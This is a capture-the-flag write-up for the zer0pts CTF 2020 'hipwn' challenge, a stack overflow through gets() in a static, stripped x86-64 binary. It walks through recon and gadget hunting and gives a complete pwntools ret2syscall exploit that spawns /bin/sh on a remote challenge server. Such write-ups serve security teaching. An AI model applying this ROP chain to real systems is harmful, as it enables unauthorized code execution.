[zer0pts CTF 2020] hipwn
# hipwn###### tags: `Pwn`
> Author: ret2basic
> Topics: ROP, ret2syscall
## Challenge
Hi, all pwners over the world!
(https://github.com/Pwnie-Island/Pwnie-Island-Wargame/raw/main/zer0pts_CTF/Pwn/hipwn/chall)
(https://raw.githubusercontent.com/Pwnie-Island/Pwnie-Island-Wargame/main/zer0pts_CTF/Pwn/hipwn/main.c)
## Recon
```shell
$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
```
Note that this binary is **statically linked**, so we can't use ret2libc. In addition, this binary is **stripped**, so we know nothing about the function names.
```shell
$ checksec chall
[*] '/root/Dropbox/Pwnie-Island-Wargame/zer0pts_CTF/Pwn/hipwn/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
Since **NX** is the only protection turned on, this challenge can be solved with some ROP technique.
## Source Code
```c=1
#include <stdio.h>
int main(void) {
char name;
puts("What's your team name?");
gets(name);
printf("Hi, %s. Welcome to zer0pts CTF 2020!\n", name);
return 0;
}
```
Obviously `gets(name);` triggers stack overflow that allows us to control EIP.
## Analysis
Since the binary is statically linked and stripped, the first thing we should try is **ret2syscall**. To learn more about ret2syscall, check out (https://hackmd.io/@pwnie-island/ret2syscall-cheat-sheet).
Let's look for necessary ROP gadgets:
!()
However, the string `/bin/sh` is not inside the binary:
!()
This makes the challenge slightly difficult. What we have to do here is to pass the string `"/bin/sh"` to the `.bss` section. The address of `.bss` can be easily found using Pwntools (`bss = elf.bss()`). Since the binary contains the function `gets`, we can call `gets(bss)` to open a STDIN session and pass the string `"/bin/sh"` from here.
Next, we need to find the address of `gets`. But the binary is stripped, so how do deduce the location of this address? First **disassemble** the binary:
```shell
$ objdump -D -M intel chall > disassembly.asm
```
We know that the **SIGSEGV** happens at `0x40019c`:
!()
So `gets` must happened a few instructions before this point. Search `40019c` in the disassembly:
!()
There are three functions gets called here:
1. `0x40062f`
2. `0x4004ee`
3. `0x400591`
**According to the source code**, we can deduce the correspondences based on the order that functions get called:
1. `0x40062f` => `puts`
2. `0x4004ee` => `gets`
3. `0x400591` => `printf`
So the address that we are looking for is `0x4004ee`.
Now we have everything ready for the ret2syscall attack.
## Exploit
```python=1
#!/usr/bin/env python3
from pwn import *
#--------setup--------#
context(arch="amd64", os="linux")
elf = ELF("chall", checksec=False)
host = "xuenixiang.cn"
port = 22790 # port is dynamic
r = remote(host, port)
#--------Addresses--------#
pop_rax = 0x0000000000400121
pop_rdi = 0x000000000040141c
pop_rsi_pop_r15 = 0x000000000040141a
pop_rdx = 0x00000000004023f5
syscall = 0x00000000004003fc
bss = elf.bss()
gets = 0x4004ee
#--------ret2syscall--------#
offset = 264
payload = flat(
b"e" * offset,
# Round 1: call gets(bss)
pop_rdi, bss,
gets,
# Round 2: call execve("/bin/sh", 0, 0)
pop_rax, 59,
pop_rdi, bss,
pop_rsi_pop_r15, 0, 0x13371337,
pop_rdx, 0,
syscall,
)
r.readuntil("What's your team name?\n")
r.sendline(payload)
r.sendline("/bin/sh")
r.interactive()
```
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